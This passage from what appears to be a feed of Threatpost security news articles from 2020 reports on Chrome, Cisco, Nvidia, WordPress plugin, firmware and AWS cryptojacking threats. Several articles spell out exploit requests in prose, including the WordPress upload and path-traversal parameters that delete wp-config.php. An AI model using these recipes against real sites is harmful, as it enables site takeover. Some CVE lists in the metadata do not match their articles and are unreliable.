immediately after appropriate testing.\u201d\n\nChrome has plagued by vulnerabilities over the past few months. Google [in February 2020 said](<https://threatpost.com/google-patches-chrome-browser-zero-day-bug-under-attack/153216/>) it patched a Chrome web browser zero-day bug being actively exploited in the wild. The flaw affected versions of Chrome running on the Windows, macOS and Linux platforms.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2020/03/24173101/DUO_320x50.jpg)](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>)\n\n_**Do you suffer from Password Fatigue? On [Wednesday April 8 at 2 p.m. ET](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) join **_**_Duo Security and Threatpost as we explore a [passwordless](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) future. This [FREE](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) webinar maps out a future where modern authentication standards like WebAuthn significantly reduce a dependency on passwords. We\u2019ll also explore how teaming with Microsoft can reduced reliance on passwords. [Please register here](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) and dare to ask, \u201c[Are passwords overrated?](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>)\u201d in this sponsored webinar. _**\n", "cvss3": {}, "published": "2020-04-02T21:19:27", "type": "threatpost", "title": "Google Squashes High-Severity Flaws in Chrome Browser", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407", "CVE-2020-6450", "CVE-2020-6451", "CVE-2020-6452"], "modified": "2020-04-02T21:19:27", "id": "THREATPOST:CB31619614FD5E23CA0F7DEC57D992BE", "href": "https://threatpost.com/google-squashes-high-severity-flaws-in-chrome-browser/154424/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-10-15T22:19:28", "description": "Cisco has hurried out a fix out for a critical remote code-execution flaw in its customer interaction management solution, Cisco Unified Contact Center Express (CCX).\n\nCisco\u2019s Unified CCX software is touted as a \u201ccontact center in a box\u201d that allows companies to deploy customer-care applications. The flaw (CVE-2020-3280), which has a CVSS score of 9.8 out of 10, stems from the Java Remote Management Interface of the product.\n\n\u201cThe vulnerability is due to insecure deserialization of user-supplied content by the affected software,\u201d according to Cisco, in a [Wednesday security alert](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-uccx-rce-GMSC6RKN>). \u201cAn attacker could exploit this vulnerability by sending a malicious serialized Java object to a specific listener on an affected system. A successful exploit could allow the attacker to execute arbitrary code as the root user on an affected device.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nAn unauthenticated, remote attacker could exploit this flaw to execute arbitrary code on an affected device. Those who are using Cisco Unified CCX version 12.0 and earlier are urged to update to the fixed release, 12.0(1)ES03. Version 12.5 is not vulnerable, according to Cisco.\n\nCisco is not aware of any public announcements or malicious use of the flaw, according to the update. The tech giant on Wednesday also released a patch addressing [a high-severity flaw](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cpnr-dhcp-dos-BkEZfhLP>) (CVE-2020-3272) in its Prime Network Registrar, which enables dynamic host configuration protocol (DHCP) services (as well as DNS services).\n\nThe flaw stems from insufficient input validation of incoming DHCP traffic. It exists in the DHCP server and could enable an unauthenticated, remote attacker to trigger a denial of service (DoS) attack on an affected device.\n\n\u201cAn attacker could exploit this vulnerability by sending a crafted DHCP request to an affected device,\u201d according to Cisco. \u201cA successful exploit could allow the attacker to cause a restart of the DHCP server process, causing a DoS condition.\u201d\n\nAlso fixed were several medium-severity flaws, including a SQL injection flaw in Cisco\u2019s Prime Collaboration Provisioning Software (CVE-2020-3184), a DOS flaw in Cisco AMP for Endpoints Mac Connector Software (CVE-2020-3314) and memory buffer flaws (CVE-2020-3343, CVE-2020-3344) in Cisco AMP for Endpoints Linux Connector Software and Cisco AMP for Endpoints Mac Connector Software.\n\nEarlier this month, Cisco also stomped out [12 high-severity vulnerabilities](<https://threatpost.com/cisco-fixes-high-severity-flaws-in-firepower-security-software-asa/155568/>) affecting Cisco\u2019s Firepower Threat Defense (FTD) software, which is part of its suite of network security and traffic management products; and its Adaptive Security Appliance (ASA) software, the operating system for its family of ASA corporate network-security devices. The flaws can be exploited by unauthenticated remote attackers to launch an array of attacks \u2013 from denial of service (DoS) to sniffing out sensitive data.\n\n**_Concerned about the IoT security challenges businesses face as more connected devices run our enterprises, drive our manufacturing lines, track and deliver healthcare to patients, and more? On [June 3 at 2 p.m. ET](<https://attendee.gotowebinar.com/register/1837650474090338831?source=ART>), join renowned security technologist Bruce Schneier, Armis CISO Curtis Simpson and Threatpost for a FREE webinar, [Taming the Unmanaged and IoT Device Tsunami](<https://attendee.gotowebinar.com/register/1837650474090338831?source=ART>). Get exclusive insights on how to manage this new and growing attack surface. [Please register here](<https://attendee.gotowebinar.com/register/1837650474090338831?source=ART>) for this sponsored webinar._**\n", "cvss3": {}, "published": "2020-05-21T15:44:30", "type": "threatpost", "title": "Critical Cisco Bug in Unified CCX Allows Remote Code Execution", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407", "CVE-2020-3184", "CVE-2020-3272", "CVE-2020-3280", "CVE-2020-3314", "CVE-2020-3343", "CVE-2020-3344", "CVE-2020-5135"], "modified": "2020-05-21T15:44:30", "id": "THREATPOST:73F48A70A1B3DDD9B987BA26009E6630", "href": "https://threatpost.com/critical-cisco-rce-flaw-unified-ccx/155980/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-15T22:23:31", "description": "Nvidia issued patches for high-severity vulnerabilities in its graphics driver, which can be exploited by a local attacker to launch denial-of-service (DoS) or code-execution attacks.\n\nNvidia\u2019s graphics processing unit (GPU) display driver is used in devices targeted for enthusiast gamers; it\u2019s the software component that enables the device\u2019s operating system and programs to use its high-level graphics hardware. Specifically impacted are display drivers used in GeForce, Quadro and Tesla-branded GPUs for Windows.\n\nThe most severe flaw exists in the control panel component of the graphics driver, which is a utility program helping users monitor and adjust the settings of their graphics adapter. According to [Nvidia](<https://nvidia.custhelp.com/app/answers/detail/a_id/4996>) in its security advisory, published Friday, an attacker with local system access can corrupt a system file in the control panel, which would lead to DoS or escalation of privileges.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe vulnerability ([CVE\u20112020\u20115957](<https://vulmon.com/vulnerabilitydetails?qid=CVE-2020-5957>)) ranks 8.4 out of 10.0 on the CVSS scale, making it high-severity.\n\nAnother vulnerability, this one medium-severity, exists in the control panel of the graphics driver ([CVE\u20112020\u20115958](<https://vulmon.com/vulnerabilitydetails?qid=CVE-2020-5958>)). An attacker with local system access could exploit this flaw by planting a malicious dynamic link library (DLL) file in the control panel, which may lead to code execution, DoS or information disclosure.\n\nFor both flaws in the graphics driver, the affected versions and subsequent patched versions are listed below. Patched versions are now available, with the exception of a patch for vulnerable R440 versions of Tesla for Windows; fixes for that will be available on the week of March 9.\n\n[![Nvidia security vulnerability ](https://media.threatpost.com/wp-content/uploads/sites/103/2020/03/02145301/nvidia-1024x224.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/03/02145301/nvidia.png>)\n\nNvidia also disclosed several vulnerabilities in the Virtual GPU (vGPU) Manager, its tool that enables multiple virtual machines to have simultaneous, direct access to a single physical GPU, while also using Nvidia graphics drivers deployed on non-virtualized operating systems.\n\nThe most severe of these flaws exists in the vGPU plugin, \u201cin which an input index value is incorrectly validated, which may lead to denial of service,\u201d according to Nvidia. The vulnerability ([CVE\u20112020\u20115959](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=2020-5959>)) is 7.8 out of 10.0 on the CVSS scale, making it high-severity.\n\nAnother medium-severity flaw ([CVE-2020-5960](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=2020-5960>)) in vGPU stems from the tool\u2019s kernel mode (nvidia.ko) which is vulnerable to a null pointer dereference error. This type of error occurs when a program attempts to read or write to memory with a null pointer, causing a segmentation fault. The flaw can lead to denial of service, according to Nvidia.\n\nNvidia also addressed a medium-severity vulnerability in its vGPU graphics driver for guest operating systems. An \u201cincorrect resource clean up on a failure path\u201d in this driver can impact the guest virtual machine, leading to denial of service. A variety of versions are affected for these vGPU software flaws (they can be found [here](<https://nvidia.custhelp.com/app/answers/detail/a_id/4996>)); Nvidia said that updated versions are upcoming in March.\n\nIt\u2019s only the latest Nvidia security patch impacting its gaming-enthusiast customer base. Nvidia last year issued fixes for [high-severity flaws](<https://threatpost.com/gamers-hit-with-nvidia-gpu-driver-geforce-flaws/149992/>) in two popular gaming products, including its graphics driver for Windows and GeForce Experience. The flaws could be exploited to launch an array of malicious attacks \u2013 from DoS to escalation of privileges. Also in 2019, [Nvidia patched](<https://threatpost.com/nvidia-geforce-experience-bug/143196/>) another high-severity vulnerability in its GeForce Experience software, which could lead to code-execution or DoS of products, if exploited.\n", "cvss3": {}, "published": "2020-03-02T21:59:19", "type": "threatpost", "title": "Gamer Alert: Serious Nvidia Flaw Plagues Graphics Driver", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407", "CVE-2020-5957", "CVE-2020-5958", "CVE-2020-5960"], "modified": "2020-03-02T21:59:19", "id": "THREATPOST:EABA151827AA14E6292386F02B5ED8A1", "href": "https://threatpost.com/gamer-alert-serious-nvidia-flaw-plagues-graphics-driver/153380/", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-10-14T22:26:12", "description": "The Adning Advertising plugin for WordPress, a premium plugin with over 8,000 customers, contains a critical remote code-execution vulnerability with the potential to be exploited by unauthenticated attackers.\n\nThe plugin\u2019s author, Tunafish, has rolled out a patched version (v.1.5.6), which site owners should update to as soon as possible. No CVE was issued.\n\nThe bug could allow complete site takeover, earning it a 10 out of 10 on the CVSS bug-severity scale. Also, it has already been the subject of in-the-wild attacks, according to [an analysis](<https://www.wordfence.com/blog/2020/07/critical-vulnerabilities-patched-in-adning-advertising-plugin/>) from Wordfence issued on Wednesday. That said, the firm said the attacks so far have been limited in scope and scale.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe flaw exists in the Adning plugin\u2019s ability to allow users to upload banner images, researchers said.\n\n\u201cIn order to provide this functionality, it used an AJAX action, _ning_upload_image,\u201d according to the researchers. \u201cUnfortunately, this AJAX action was available with a nopriv_ hook, meaning that any visitor to the site could make use of it, even if they were not logged in. Additionally, the function called by this AJAX action also failed to make use of a capability check or a nonce check.\u201d\n\nThis function also allowed the user to supply the \u201callowed\u201d file types \u2013 which means that an unauthenticated attacker could upload malicious code by sending a POST request to wp-admin/admin-ajax.php.\n\nThis could be performed \u201cwith the action parameter set to _ning_upload_image the allowed_file_types set to php and a files parameter containing a malicious PHP file,\u201d researchers said. \u201cAlternatively, an attacker could set the allowed_file_types to zip and upload a compressed archive containing a malicious PHP file, which would be unzipped after upload.\u201d\n\n## **A Second Bug**\n\nWordfence researchers also found a second security vulnerability, which allows unauthenticated arbitrary file deletion via path traversal.\n\nCarrying a high-severity CVSS score of 8.7, this bug is also patched in v.1.5.6.\n\n\u201cIn order to delete any uploaded images, the plugin also registered another ajax action, _ning_remove_image, which also used a nopriv_ hook,\u201d according to the analysis. \u201cAs with the upload vulnerability, this function did not perform a capability check or a nonce check. As such it was possible for an unauthenticated attacker to delete arbitrary files using path traversal.\u201d\n\nAlso, according to Wordfence, if an attacker were able to delete the specific file wp-config.php, the site would be reset, offering attackers an opportunity to set it up again. They could use their own remote databases under their control, effectively replacing the site\u2019s content with their own content.\n\n\u201cThis might require an extra step of preparation, which is that the wp-content/uploads/path folder would need to exist,\u201d according to Wordfence. \u201cHowever, since the previously mentioned arbitrary file-upload vulnerability allowed for directory creation, this was not a major obstacle. Once the directory was created, an attacker could send a POST request to wp-admin/admin-ajax.php with the action parameter set to _ning_remove_image, the uid parameter set to /../../.. and the src parameter set to wp-config.php.\u201d\n\n## **WordPress Plugins: A Weak Link**\n\nWordPress plugins continue to crop up with concerning vulnerabilities that put sites at risk. In May for instance, Page Builder by SiteOrigin, a WordPress plugin with a million active installs that\u2019s used to build websites via a drag-and-drop function, [was found to harbor](<https://threatpost.com/wordpress-page-builder-bugs-takeover/155659/>) two flaws that could allow full site takeover.\n\nMeanwhile in April, it was revealed that legions of website visitors could be infected with drive-by malware, among other issues, thanks to a [CSRF bug in Real-Time Search and Replace](<https://threatpost.com/wordpress-plugin-bug-100k-websites-compromise/155230/>). Also that month, a pair of security vulnerabilities (one of them critical), in the WordPress search engine optimization (SEO) plugin known as Rank Math, [were found](<https://threatpost.com/critical-wordpress-plugin-bug-lock-admins-out/154354/>). They could allow remote cybercriminals to elevate privileges and install malicious redirects onto a target site, according to researchers. RankMath is a WordPress plugin with more than 200,000 installations.\n\nIn March, another critical vulnerability in a WordPress plugin known as \u201cThemeREX Addons\u201d [was found](<https://threatpost.com/themerex-wordpress-plugin-remote-code-execution/153592/>) that could open the door for remote code execution in 44,000 websites.\n\nAlso in March, two vulnerabilities \u2013 including a high-severity flaw \u2013 [were patched](<https://threatpost.com/wordpress-plugin-bug-popup-builder/153715/>) in a popular WordPress plugin called Popup Builder. The more severe flaw could enable an unauthenticated attacker to infect malicious JavaScript into a popup \u2013 potentially opening up more than 100,000 websites to takeover.\n\nAnd in February, popular WordPress plugin Duplicator, which has more than 1 million active installations, [was discovered to have](<https://www.wordfence.com/blog/2020/03/zero-day-vulnerability-in-themerex-addons-now-patched/>) an unauthenticated arbitrary file download vulnerability that was being attacked. And, earlier that month, a critical flaw in a popular WordPress plugin that helps make websites compliant with the General Data Protection Regulation (GDPR) [was disclosed](<https://threatpost.com/critical-wordpress-plugin-bug-afflicts-700k-sites/152871/>). The flaw could enable attackers to modify content or inject malicious JavaScript code into victim websites. It affected 700,000 sites.\n\n**_BEC and enterprise email fraud is surging, but DMARC can help \u2013 if it\u2019s done right. On July 15 at 2 p.m. ET, join Valimail Global Technical Director Steve Whittle and Threatpost for a _**[**_FREE webinar_**](<https://attendee.gotowebinar.com/register/441045308082589963?source=art>)**_, \u201cDMARC: 7 Common Business Email Mistakes.\u201d This technical \u201cbest practices\u201d session will cover constructing, configuring, and managing email authentication protocols to ensure your organization is protected. _**[**_Click here to register_**](<https://attendee.gotowebinar.com/register/441045308082589963?source=art>)**_ for this Threatpost webinar, sponsored by Valimail._**\n", "cvss3": {}, "published": "2020-07-08T20:12:05", "type": "threatpost", "title": "Advertising Plugin for WordPress Threatens Full Site Takeovers", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2020-07-08T20:12:05", "id": "THREATPOST:49EFC5B6CFCA04F105A001AAFED52548", "href": "https://threatpost.com/advertising-plugin-wordpress-full-site-takeovers/157283/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-14T22:30:12", "description": "Fresh firmware vulnerabilities in Wi-Fi adapters, USB hubs, trackpads and cameras are putting millions of peripheral devices in danger of a range of cyberattacks, according to research from Eclypsium.\n\nTouchPad and TrackPoint firmware in Lenovo Laptops, HP Wide Vision FHD camera firmware in HP laptops and the Wi-Fi adapter on Dell XPS laptops were all found to lack secure firmware update mechanisms with proper code-signing.\n\n\u201cSoftware and network vulnerabilities are often the more-obvious focus of organizations\u2019 security priorities, but firmware vulnerabilities could give adversaries full control over the compromised device,\u201d Katie Teitler, senior analyst at TAG Cyber, said via email. \u201cThis could lead to implanted backdoors, network traffic sniffing, data exfiltration and more. Unfortunately, though, firmware vulnerabilities can be harder to detect and more difficult to patch.\u201d\n\n## Unsigned Firmware Updates: A Growing Problem\n\nFirmware for peripherals can be burned into the integrated circuit of the device itself, or the component may have its own flash memory where firmware is stored. Firmware can also be dynamically provided by the operating system at boot time. Regardless of the implementation approach, firmware is used as the device-specific operating system for the peripheral in question, and can provide criminals with a rich attack surface if found to be vulnerable.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\n\u201cMany peripheral devices do not verify that firmware is properly signed with a high-quality public/private key before running the code,\u201d explained researchers at Eclypsium, in vulnerability research [released on Tuesday](<https://eclypsium.com/2020/2/18/unsigned-peripheral-firmware/>). \u201cThis means that these components have no way to validate that the firmware loaded by the device is authentic and should be trusted. An attacker could simply insert a malicious or vulnerable firmware image, which the component would blindly trust and run.\u201d\n\nThe scenario for an attack is thus a simple one. First, an attacker gains access to a device via any method, be it physical access, malware that allows remote code execution and so on, and, with basic user privileges, the attacker can write malicious firmware to a vulnerable component. If the component doesn\u2019t require the firmware to be properly signed, the attacker\u2019s code is loaded. Depending on the peripheral in question, this can lead to a range of malicious activity.\n\n\u201cFor example, malicious firmware on a network adapter could allow an attacker to sniff, copy, redirect or alter traffic leading to a loss of data, man-in-the-middle and other attacks,\u201d according to the research. \u201cPCI-based devices could enable [Direct Memory Access (DMA) attacks](<https://threatpost.com/dell-hp-memory-access-bugskernel-privileges/152369/>) that could easily steal data or take full control over the victim system. Cameras could be used to capture data from the user\u2019s environment, while a compromised hard drive could allow the attacker to hide code and tools without being seen by the operating system.\u201d\n\nFurther, firmware attacks allow malicious activity to fly under the radar of endpoint protections; as recently seen in the [latest campaigns using the RobbinHood ransomware](<https://threatpost.com/byo-bug-windows-kernel-outdated-driver/152762/>), vulnerable drivers can be used to bypass security protections and enable ransomware to attack without interference.\n\nJesse Michael, principal researcher at Eclypsium, told Threatpost that the kinds of attacks that these bugs enable are not insignificant. For instance, the Black Energy attack that brought down part of the power grid in Ukraine used an unsigned firmware update to break serial-to-Ethernet adapters that were used to control relays.\n\n\u201cA similar incident occurred with Saudi Aramco,\u201d he said. \u201cThis made the system much harder to bring back online.\u201d He added that firmware-based attacks have seen a 7.5-time increase in firmware/hardware CVEs from three years ago.\n\n## New Vulnerabilities\n\nEclypsium researchers analyzed a Lenovo ThinkPad X1 Carbon 6th Gen laptop, which contains two vulnerable firmware mechanisms: Touchpad firmware (pr2812761-tm3288-011-0808.img) and TrackPoint firmware (PSG5E5_RANKA_fv06.bin).\n\n\u201cWe discovered that the Touchpad and TrackPoint use insecure firmware update mechanisms,\u201d according to the research. \u201cSpecifically, cryptographic signature verification was not required at the device level before firmware updates were applied. This lack of control made it possible to modify the firmware images through software to run arbitrary malicious code within these components.\u201d\n\nMeanwhile, the firmware updates distributed by HP for the HP Wide Vision FHD camera found in the HP Spectre x360 Convertible 13-ap0xxx laptop are unencrypted and lack authenticity checks, Eclypsium noted. The device\u2019s firmware updater is composed of SunplusIT\u2019s Windows-based firmware update tool along with the firmware image, and both have issues.\n\n\u201cThe firmware image does not include any form of cryptographic signature or other authenticity information,\u201d according to the report. \u201cThe Windows-based firmware update tool accepts firmware files that have been modified to adjust USB descriptor contents. This ability to modify USB descriptors can be leveraged to disable the device or cause it to be identified as a different type of USB device. Once additional details of the processor architecture are discovered, the camera module behavior can be altered to be malicious.\u201d\n\nAlso, the SunplusIT firmware updater can successfully update a device even as a normal user, rather than requiring administrator access \u2013 a violation of best practices.\n\nEclypsium researchers also found that the firmware of the Wi-Fi adapter on Dell XPS 15 9560 laptops running Windows 10 has a bug. While Windows 10 will confirm that the drivers are correctly signed, that\u2019s where the security checks stop. So, if the drivers are correctly signed, a small certificate icon is displayed next to the driver when viewed in the device manager. If they aren\u2019t correctly signed, a user can still successfully load them \u2013 the icon merely goes away. This means that a privileged attacker could easily replace driver files.\n\nAnd finally, the researchers also took a look at the Linux Vendor Firmware Service, which is a secure portal that allows hardware vendors to upload firmware updates. An analysis showed multiple insecure updates and drivers.\n\n\u201cFrom this resource we can focus specifically on update protocols and easily review which are signed and which are not,\u201d the researchers wrote. \u201cWhile we can see that some of the update protocols are related to transport, many others are protocols used for the actual update process. For example, VLI USB Hub firmware is unsigned.\u201d\n\n## Vendor Response\n\nEclypsium researchers notified HP of the webcam firmware vulnerability on August 4, and Lenovo of the TouchPad/TrackPoint vulnerability on Lenovo on June 13.\n\n\u201cWe expect some vendors will issue CVEs, but none have as of yet,\u201d Jesse Michael, principal researcher at Eclypsium, told Threatpost. \u201cFor these peripherals, the OEMs (HP and Lenovo) have to work with their suppliers to develop fixes. From what we\u2019ve seen, most of these existing components were initially designed to have unsigned firmware, making them inherently vulnerable. Our interactions with these OEMs lead us to expect that future systems will have firmware update authentication requirements built in.\u201d\n\nEclypsium also reported the Wi-Fi issue to both Qualcomm, who provides the chipset and driver for the wireless card, and to Microsoft, which checks that such drivers are signed.\n\n\u201cQualcomm responded that their chipset is subordinate to the processor, and that the software running on the CPU is expected to take responsibility for validating firmware,\u201d Michael said. \u201cThey stated that there was no plan to add signature verification for these chips. However, Microsoft responded that it was up to the device vendor to verify firmware that is loaded into the device.\u201d The result is that this will likely go unaddressed, since each is pointing the responsibility back to the other.\n\nBottom line: Unsigned firmware in peripheral devices remains a highly overlooked aspect of cybersecurity, and provides multiple pathways for malicious actors to compromise laptops and servers.\n\n\u201cOnce firmware on any of these components is infected, the malware stays undetected by any software security controls,\u201d Michael said. \u201cDespite previous in-the-wild attacks, peripheral manufacturers have been slow to adopt the practice of signing firmware, leaving millions of Windows and Linux systems at risk of firmware attacks that can exfiltrate data, disrupt operations and deliver ransomware.\u201d\n\n**_Learn how Operational Technology and Information Technology systems are merging and changing security playbooks in this free Threatpost Webinar. Join us _**[**_Wednesday, Feb. 19 at 2 p.m. ET_**](<https://attendee.gotowebinar.com/register/2652328115100076035?source=art>)**_ when a panel of OT and IT security experts will discuss how this growing trend is shaping security approaches for IoT and 5G rollouts. This webinar is for security and DevOps engineers, IoT edge developers and security executives._**\n", "cvss3": {}, "published": "2020-02-18T11:00:08", "type": "threatpost", "title": "Lenovo, HP, Dell Peripherals Face Unpatched Firmware Bugs", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2020-02-18T11:00:08", "id": "THREATPOST:815A85AC4471792F2F220EAD5DD49460", "href": "https://threatpost.com/lenovo-hp-dell-peripherals-unpatched-firmware/152936/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-14T22:21:12", "description": "A cryptomining worm from the group known as TeamTNT is spreading through the Amazon Web Services (AWS) cloud and collecting credentials. Once the logins are harvested, the malware logs in and deploys the XMRig mining tool to mine Monero cryptocurrency.\n\nAccording to researchers at Cado Security, the worm also deploys a number of openly available malware and offensive security tools, including \u201cpunk.py,\u201d a SSH post-exploitation tool; a log cleaning tool; the Diamorphine rootkit; and the Tsunami IRC backdoor.\n\nIt is, they said, the first threat observed in the wild that specifically targets AWS for cryptojacking purposes. However, it also carries out more familiar fare.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\n\u201cThe worm also steals local credentials, and scans the internet for misconfigured Docker platforms,\u201d according to a [Monday posting](<https://www.cadosecurity.com/2020/08/17/teamtnt-the-first-crypto-mining-worm-to-steal-aws-credentials/>). \u201cWe have seen the attackers\u2026compromise a number of Docker and Kubernetes systems.\u201d\n\nAs more businesses embrace cloud and container environments, it has opened up a new attack surface for cybercriminals via misconfiguration. That said, cryptomining threats taking aim at Docker and Kubernetes aren\u2019t new. Attackers continue to scan for [publicly accessible, open Docker/Kubernetes servers](<https://threatpost.com/docker-registries-malware-data-theft/152734/>) in an automated fashion, and then exploit them in order to set up their own containers and execute malware on the victim\u2019s infrastructure.\n\nUsually that malware is a cryptominer of some kind, [as seen in April](<https://threatpost.com/self-propagating-malware-docker-ports/154453/>) in a Bitcoin-mining campaign using the Kinsing malware. Sometimes the threat is more evolved, as seen in July, when a fresh [Linux backdoor called Doki](<https://threatpost.com/icedid-trojan-rebooted-evasive-tactics/158425/>) was seen infesting Docker servers to sett the scene for any number of malware-based attacks, from denial-of-service/sabotage to information exfiltration to ransomware.\n\nHowever, the focus on AWS in this latest set of campaigns \u2013 which [were also flagged](<https://twitter.com/malwrhunterteam/status/1256664761997148161>) by MalwareHunterTeam \u2013 is unique, Cado researchers said.\n\n## **Attacking AWS**\n\nThe attack starts with targeting the way that AWS stores credentials in an unencrypted file at ~/.aws/credentials, and additional configuration details in a file at ~/.aws/config.\n\n\u201cThe code to steal AWS credentials is relatively straightforward \u2013 on execution it uploads the default AWS credentials and config files to the attackers\u2019 server, sayhi.bplace[.]net,\u201d researchers explained. \u201cCurl is used to send the AWS credentials to TeamTNT\u2019s server.\u201d\n\nInterestingly, though the script is written to be a worm, the automated portion of the attack didn\u2019t seem to be in full operation during the security firm\u2019s analysis.\n\n\u201cWe sent credentials created by CanaryTokens.org to TeamTNT, however have not seen them in use yet,\u201d according to the post. \u201cThis indicates that TeamTNT either manually assess and use the credentials, or any automation they may have created isn\u2019t currently functioning.\u201d\n\nThe script that anchors TeamTNT\u2019s worm is repurposed code from the aforementioned Kinsing malware, researchers said, which was originally used to scan for misconfigured Docker APIs, then spin up Docker images and install itself. They added that copying code from other tools is common in this area of cybercrime.\n\n\u201cIn turn, it is likely we will see other worms start to copy the ability to steal AWS credentials files too,\u201d they said. \u201cWhilst these attacks aren\u2019t particularly sophisticated, the numerous groups out there deploying cryptojacking worms are successful at infecting large amounts of business systems.\u201d\n\n## **TeamTNT \u2013 It\u2019s Dynamite**\n\nAs far as attribution, TeamTNT announces itself in numerous references within the worm\u2019s code, according to researchers, plus the group uses a domain called teamtnt[.]red. That domain hosts malware, and the homepage is entitled \u201cTeamTNT RedTeamPentesting.\u201d\n\nTeamTNT has been prolific, and was spotted originally earlier in the year. In April, Trend Micro [observed](<https://www.trendmicro.com/vinfo/hk-en/security/news/virtualization-and-cloud/coinminer-ddos-bot-attack-docker-daemon-ports>) the group attacking Docker containers.\n\nAn examination by Cado of one of the mining pools yielding information about the systems that the AWS-capable worm has compromised showed that for the one pool, there were 119 compromised systems, across AWS, Kubernetes clusters and Jenkins build servers.\n\n\u201cSo far we have seen two different Monero wallets associated with these latest attacks, which have earned TeamTNT about three XMR,\u201d researchers explained. \u201cThat equates to only about $300, however this is only one of their many campaigns.\u201d\n\nCado researchers suggested that to thwart such attacks, businesses should identify which systems are storing AWS credential files and delete them if they aren\u2019t needed. Also, review network traffic for any connections to mining pools or those sending the AWS credentials file over HTTP; and, use firewall rules to limit any access to Docker APIs.\n\n_It\u2019s the age of remote working, and businesses are facing new and bigger cyber-risks \u2013 whether it\u2019s collaboration platforms in the crosshairs, evolving insider threats or issues with locking down a much broader footprint. Find out how to address these new cybersecurity realities with our complimentary _[_Threatpost eBook_](<https://threatpost.com/ebooks/2020-in-security-four-stories-from-the-new-threat-landscape/?utm_source=ART&utm_medium=articles&utm_campaign=fp_ebook>)**_, 2020 in Security: Four Stories from the New Threat Landscape_**_, presented in conjunction with Forcepoint. We redefine \u201csecure\u201d in a work-from-home world and offer compelling real-world best practices. _[_Click here to download our eBook now_](<https://threatpost.com/ebooks/2020-in-security-four-stories-from-the-new-threat-landscape/?utm_source=ART&utm_medium=articles&utm_campaign=fp_ebook>)_._\n", "cvss3": {}, "published": "2020-08-18T14:14:12", "type": "threatpost", "title": "AWS Cryptojacking Worm Spreads Through the Cloud", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2020-08-18T14:14:12", "id": "THREATPOST:0A238D67F7286BA41103801846210F7A", "href": "https://threatpost.com/aws-cryptojacking-worm-cloud/158427/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-14T22:21:46", "description": "Newsletter, a WordPress plugin with more than 300,000 installations, has a pair of vulnerabilities that could lead to code-execution and even site takeover.\n\nThe Newsletter plugin offers site admins a visual editor that can be used to create newsletters and email campaigns from within WordPress. According to Wordfence, the issues are a reflected cross-site scripting (XSS) vulnerability and a PHP object-injection vulnerability, both of which can be rectified by updating to the latest version of Newsletter, v.6.8.2.\n\nThe first bug is an authenticated reflected XSS problem (CVE pending), which is a medium-severity issue ranking 6.5 on the CvSS scale. Successful exploitation could allow logged-in attackers to inject malicious code into a web window.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\n\u201cDespite the fact that [this type of bug] requires an attacker to trick a victim into performing a specific action (such as clicking a specially crafted link), they can still be used to inject backdoors or add malicious administrative users,\u201d according to Wordfence. \u201cIf an attacker tricked a victim into sending a request containing a malicious JavaScript using either of these methods, the malicious JavaScript would be decoded and executed in the victim\u2019s browser.\u201d\n\nAccording to Wordfence, the specific issue arises because vulnerable versions of Newsletter use an AJAX function, tnpc_render_callback, to display edited blocks based on a set of options sent in the AJAX request. However these options aren\u2019t filtered, but are instead passed directly on to a second function, restore_options_from_request, which displays the blocks using the render_block function, according to [the analysis](<https://www.wordfence.com/blog/2020/08/newsletter-plugin-vulnerabilities-affect-over-300000-sites/>), released Monday.\n\n\u201cAs such, it was possible for an attacker to get malicious JavaScript to display in multiple ways,\u201d researchers explained in the post.\n\nFor instance, one method of exploitation would be to send a POST request to wp-admin/admin-ajax.php with the action parameter set to tnpc_render, the b parameter set to html and the options parameter set to arbitrary JavaScript, according to Wordfence. Or, the options parameter could be set to an empty array options[]=, and the encoded_options parameter set to a base64-encoded JSON string containing arbitrary JavaScript. In both cases, JavaScript would be rendered in a logged-in user\u2019s browser.\n\nThe second bug (the CVE is also pending on this one) is a high-severity PHP object-injection bug, carrying a severity ranking of 7.5 on the CvSS scale. The vulnerability could be used to inject a PHP object that in turn could be processed by code from another plugin or theme, and 